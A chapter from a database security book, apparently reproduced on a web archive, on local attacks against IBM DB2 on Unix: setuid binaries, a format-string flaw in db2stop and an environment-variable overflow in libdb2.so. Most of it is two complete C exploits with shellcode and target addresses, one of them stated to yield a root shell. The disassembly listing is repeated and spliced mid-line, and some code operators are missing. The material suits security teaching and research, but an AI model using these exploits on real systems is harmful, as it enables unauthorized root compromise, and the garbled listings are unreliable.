Local Attacks Against DB2

Local attacks against DB2 are generally leveled at DB2 running on *nix platforms, though there are some that are effective against the Windows operating system. As far as *nix platforms are concerned the attacks usually relate to DB2 binaries with the setuid bit set. The setuid bit lets the OS know that the binary should execute with the privileges of the owner and not the user executing the binary. This is necessary, for example, to call certain functions or perform certain tasks . For example, to open a TCP port below 1024 on *nix platforms, the process must be running as root; or if the chroot() function is called, then this again must be performed as root. A number of the DB2 binaries have the setuid bit set:

 /home/db2inst1/sqllib/adm/     -r-s--x--x    1 db2inst1 db2grp1    144311 Aug 27 15:27 db2audit -r-s--x--x    1 root     db2grp1     70669 Aug 27 15:27 db2cacpy -r-sr-s--x    1 db2inst1 db2grp1    981127 Aug 27 15:27 db2dart -r-sr-xr-x    1 root     db2grp1     61523 Aug 27 15:27 db2dasstml -r-sr-s--x    1 root     db2grp1     80859 Aug 27 15:27 db2fmp -r-sr-s--x    1 root     db2grp1     76725 Aug 27 15:27 db2fmpterm -r-s--x--x    1 root     db2grp1    106405 Aug 27 15:27 db2genp -r-sr-s--x    1 db2inst1 db2grp1    143104 Aug 27 15:27 db2govd -r-sr-s---    1 db2inst1 db2grp1     86355 Aug 27 15:27 db2inidb -r-sr-x--x    1 root     db2grp1    186075 Aug 27 15:27 db2licd -r-sr-x---    1 root     db2grp1     32692 Aug 27 15:27 db2licm -r-sr-s--x    1 db2inst1 db2grp1     70024 Aug 27 15:27 db2path -r-sr-s---    1 root     db2grp1    105653 Aug 27 15:27 db2remot -r-sr-s---    1 db2inst1 db2grp1     81929 Aug 27 15:27 db2rfpen -r-sr-s--x    1 db2inst1 db2grp1     83637 Aug 27 15:27 db2star2 -r-sr-s--x    1 root     db2grp1     38495 Aug 27 15:27 db2start -r-sr-s--x    1 root     db2grp1     85260 Aug 27 15:27 db2stop -r-sr-s--x    1 db2inst1 db2grp1     59557 Aug 27 15:27 db2stop2 -r-sr-s--x    1 db2inst1 db2grp1     80270 Aug 27 15:27 db2stst -r-sr-s---    1 db2inst1 db2grp1     62091 Aug 27 15:27 db2svc -r-sr-s---    1 root     db2grp1     83565 Aug 27 15:27 db2sysc -r-sr-s--x    1 db2inst1 db2grp1   1116250 Aug 27 15:27 db2trc     /home/dasusr1/das/adm     -r-sr-xr-x    1 root     dasadm1     79035 Aug 25 07:56 dasauto -r-sr-xr-x    1 root     dasadm1     78240 Aug 25 07:56 db2dascln -r-sr-xr-x    1 root     dasadm1   1029273 Aug 25 07:56 db2dasrrm -r-sr-xr-x    1 root     dasadm1     74589 Aug 25 07:56 db2dassec -r-sr-xr-x    1 root     dasadm1    145430 Aug 25 07:56 db2dasstml 

If a vulnerability exists in a binary with the setuid bit set, an attacker may be able to exploit this to gain elevated privileges. Note the use of the word "may" here. Just because a binary is setuid and it has a vulnerability, this does not automatically mean that it can be used to gain privileges. Let's discuss an example of this.

In 2003, Snosoft released an advisory on a couple of buffer overflow problems and format string flaws in the db2start, db2stop, and db2govd binaries; they are setuid root. The Snosoft advisory marks this as a high risk, implying that this can be abused to gain root privileges. This is not true. Before the vulnerability is triggered, the process calls setuid(getuid()) setting the security token to that of the user that executes the binary. This means that any "arbitrary code" supplied by the attacker will execute with the privileges of the userand not the root user. Here's some code to demonstrate this. It uses one of the format string vulnerabilities in the db2stop binary:

 /*     Proof of concept for the db2stop format string vulnerability in DB2 v 8.1 (no fixpaks) Developed on SuSE Linux 8.2 

Here's the vulnerable codean unsafe call to printf():

 0x804a3e2 <main+3826>:  lea    0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>:  push   %eax 0x804a3e9 <main+3833>:  call   0x80492a0 <printf> 0x804a3ee <main+3838>:  add 
 0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add $0x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov $0x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push $0x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add $0x1c,%esp 
x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov
 0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add $0x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov $0x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push $0x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add $0x1c,%esp 
x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push
 0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add $0x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov $0x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push $0x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add $0x1c,%esp 
x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add
 0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add $0x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov $0x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push $0x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add $0x1c,%esp 
x1c,%esp

As you can see from the disassembly, the Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca() function is called immediately after the printf() call. This exploit overwrites the pointer to this function in the Global Offset Table.

 objdump -R /home/db2inst3/sqllib/adm/db2stop  grep Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca     08055dcc R_386_JUMP_SLOT   Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca 

As you can see from the output of objdump, the location of this pointer is at 0x08055DCC.

We'll use the %hn specifier twice to write a pointer to our shellcode at this address.

 #include <stdio.h>     unsigned short GetAddress(char *address, int lvl); unsigned char shellcode[]="\x31\xC0\x31\xDB\xb0\x17\x90\xCD\x80\x6A\x0B\ x58\x99\x52\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x54\x5B\x52\x53\x54\ x59\xCD\x80\xCC\xCC\xCC\xCC";     int main(int argc, char *argv[], char *envp[]) {         char *cmd[4];         char cmdbuf[260]="";         char argone[4000]="";         char argtwo[4000]="";         char address[200]="";         int count = 0;         unsigned short high = 0, low = 0;                 if(argc != 3)         {                 printf("\n\tProof of concept for the db2stop format string bug.\n");                 printf("\n\tUsage:\n\n\t$%s /path/to/db2stop address",argv[0]);                 printf("\n\n\twhere /path/to/db2stop is the path to the binary\n");                 printf("\twhere address is the location the shellcode is likely  to be found - usually around 0xBFFFFnnn");                 printf("\n\n\te.g.\n\n\t$%s /home/db2inst1/sqllib/adm/db2stop BFFFF445",argv[0]);                 printf("\n\n\tNotes: As db2stop does a setuid(getuid(0)) we can't retrieve root.\n");                 printf("\tThis exploit simply spawns a shell as the user running it.\n");                 printf("\tIt works by overwriting the entry for a function in the Global Offset Table\n");                 printf("\tthat's called immediately after the vulnerable printf() call.\n");                 printf("\n\n\tDavid Litchfield\n\t25th August 2004\n\t(davidl@ngssoftware.com)\n\n");                 return 0;         }             strncpy(cmdbuf,argv[1],256);         strncpy(address,argv[2],196);             // Get the location of where the second arg will be found         // 0xBFFFF445 works on my SuSE 8.1 box             high = GetAddress(address,0);         low  = GetAddress(address,4);             if(high == 0  low == 0)                 return printf("Invalid address specified: %s\n",address);                 high = high - 35;         low = low - high - 35;             // Set the format string. Overwrite the entry in the Global Offset Table for         // Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca()             sprintf(argone,"QQ\xCE\x5D\x05\x08\xCC\x5D\x05\x08ZZZDDDDEEE%%%.5dx%%20$hn%%%.5dx%%21$hn",high,low);             // create a nop sled         while(count < 22)         {                 strcat(argtwo,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");                 count ++;         }             // append the shellcode         strcat(argtwo,shellcode);             // set params for execve         cmd[0] = (char *) &cmdbuf;         cmd[1] = (char *)&argone;         cmd[2] = (char *)&argtwo;         cmd[3] = (char *)NULL;             // execute db2stop         execve(cmd[0],cmd,envp);         return 0; }         unsigned short GetAddress(char *address, int lvl) {         char A = 0, B = 0, C = 0, D = 0;         unsigned short result = 0;         int len = 0;         len = strlen(address);         if(len !=8)                 return 0;         if(lvl)                 if(lvl !=4)                         return 0;         A = (char)toupper((int)address[0+lvl]);         B = (char)toupper((int)address[1+lvl]);         C = (char)toupper((int)address[2+lvl]);         D = (char)toupper((int)address[3+lvl]);             if(A < 0x30)                 return 0;         if(A < 0x40)                 A = A - 0x30;         else         {                 if(A > 0x46  A < 41)                         return 0;                 else                         A = A - 0x37;         }         if(B < 0x30)                 return 0;         if(B < 0x40)                 B = B - 0x30;         else         {                 if(B > 0x46  B < 41)                         return 0;                 else                         B = B - 0x37;         }         if(C < 0x30)                 return 0;         if(C < 0x40)                 C = C - 0x30;         else         {                 if(C > 0x46  C < 41)                         return 0;                 else                         C = C - 0x37;         }         if(D < 0x30)                 return 0;         if(D < 0x40)                 D = D - 0x30;         else         {                 if(D > 0x46  D < 41)                         return 0;                 else                         D = D - 0x37;         }                     result = (A * 0x10 + B) << 8;         result = result + (C * 0x10 + D);         return result;     } 

There are, however, setuid binaries that are vulnerable to buffer overflows, that don't drop privileges, and can be exploited by attackers to gain control of the server. The most interesting example is a buffer overflow in a shared object. Ninety percent of the DB2 binaries load this shared object and are therefore vectors for exploiting this overflow. Needless to say, the binaries of interest are those that are setuid or setgid and don't drop privileges. Before presenting some code, let's discuss how this vulnerability creeps in. The problem stems from an overly long value for the DB2LPORT environment variable. The /opt/IBM/db2/V8.1/lib/libdb2.so.1 shared object has a buffer for the value of the DB2LPORT environment variable in the .bss ( uninitialized data) section. This buffer is overflowed. This, in and of itself, doesn't present too much of a problem at this stage. However, when the sqloInstancePath() function (exported by /opt/IBM/db2/V8.1/lib/libdb2.so.1) is called, and it is called by all binaries that load this library, the DB2LPORT value is copied to a stack-based buffer, which is overflowed. It is at this point that the attackers can gain control because they control the saved return address and can redirect the flow of execution into the user-supplied buffer. The proof of concept code here demonstrates this:

 #include <stdio.h>     unsigned char GetAddress(char *address, int lvl); unsigned char shellcode[]= "\x31\xC0\x31\xDB\xB0\x17\x90\xCD\x80\x6A\x0B\x58\x99\x52\x68\x6E" "\x2F\x73\x68\x68\x2F\x2F\x62\x69\x54\x5B\x52\x53\x54\x59\xCD\x80" "\xCC\xCC\xCC\xCC";     int main(int argc, char *argv[]) {         unsigned char buffer[2000]="";         unsigned char X = 0x61, cnt = 0;         int count = 0;             if(argc != 2)         {                 printf("\n\n\tExploit for the libdb2.so overflow\n\n\t");                 printf("Gets a rootshell via db2cacpy\n\n\tUsage:\n\n\t");                 printf("$ DB2INSTANCE=db2inst1; export DB2INSTANCE\n\t");                 printf("$ DB2LPORT=`%s address` ; export DB2LPORT\n\t$ db2cacpy\n\t",argv[0]);                 printf("sh-2.05b# id\n\tuid=0(root) gid=100(users) groups=100(users)\n\n\t");                 printf("\n\n\taddress is the address of the db2MLNPort_name symbol in\n\t");                 printf("the .bss section of libdb2.so. Here are some example addresses:\n\n\t");                 printf("\tSuSE 8.2\tDB2 8.1 Fixpak 6\t40E06680\n\t");                 printf("\tRedhat 9\tDB2 8.1 Fixpak 6\t40E124A8\n\t");                 printf("\tRedhat 9\tDB2 8.1 Fixpak 0\t40E075A8\n\n\t");                 printf("Use obdump to get the offset for your system:\n\n\t");                 printf("$ objdump -t /opt/IBM/db2/V8.1/lib/libdb2.so  grep db2MLNPort_name\n\t");                 printf("00df05a0 g\tO\t.bss\t000000ff\tdb2MLNPort_name\n\n\t");                 printf("This address is then added to the base address of libdb2.so\n\t");                 printf("to give the actual address.\n\n\t");                 printf("David Litchfield\n\t27th August 2004\n\t(davidl@ngssoftware.com)\n\n");                 return 0;         }                 while(count < 500)                 buffer[count++]=0x90;             strcat(buffer,"\x90");         strcat(buffer,shellcode);         count = count + 37;             while(count < 1480)         {                 if(count == 1144)                 {                         // This is the location of db2MLNPort_name in the .data section                         // of libdb2.so on my SuSE Linux DB2 8.1 Fixpak 6 system.                         // If this exploit doesn't work then you'll need to get                         // the offset for your system.                         // 0x40e06680 on SuSE 8.1 fixpak 6                         // 0x40e124a8 on Redhat 8.1 no fixpaks                         // 0x40e075a8 on Redhat 8.1 fixpak 6                         //buffer[count++]=0xa8;                         //buffer[count++]=0x75;                         //buffer[count++]=0xe0;                         //buffer[count++]=0x40;                         /*buffer[count++]=0xa8;                         buffer[count++]=0x24;                         buffer[count++]=0xe1;                         buffer[count++]=0x40;*/                         buffer[count++]=GetAddress(argv[1],6);                         buffer[count++]=GetAddress(argv[1],4);                         buffer[count++]=GetAddress(argv[1],2);                         buffer[count++]=GetAddress(argv[1],0);                 }                 else                     buffer[count++]=0xCC;             }         printf("%s",buffer);         return 0; }     unsigned char GetAddress(char *address, int lvl) {         char A = 0, B = 0;         int len = 0;         len = strlen(address);         if(len !=8)                 return 0;         if(lvl)                 if(lvl ==2  lvl ==4  lvl ==6 )                         goto cont;                 else                         return 0;         cont:         A = (char)toupper((int)address[0+lvl]);         B = (char)toupper((int)address[1+lvl]);             if(A < 0x30)                 return 0;         if(A < 0x40)                 A = A - 0x30;         else         {                 if(A > 0x46  A < 41)                         return 0;                 else                         A = A - 0x37;         }         if(B < 0x30)                 return 0;         if(B < 0x40)                 B = B - 0x30;         else         {                 if(B > 0x46  B < 41)                         return 0;                 else                         B = B - 0x37;         }                 A = (A * 0x10 + B);         return A;         } 

Other overflows affect DB2 locally. For example, the db2fmp binary is vulnerable to an overflow with an overly long command-line parameter.

To close this section one final note. When DB2 is installed the user installing it is offered the chance to save a response file. This file contains a log of what occurs during the install. If the user chooses to use a response file, then the password of the db2 user is logged. By searching the filesystem for this file, it might be possible to gain access to the clear text password of the db2 user. Needless to say, this file should be deleted to help secure the DB2 installation.



Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net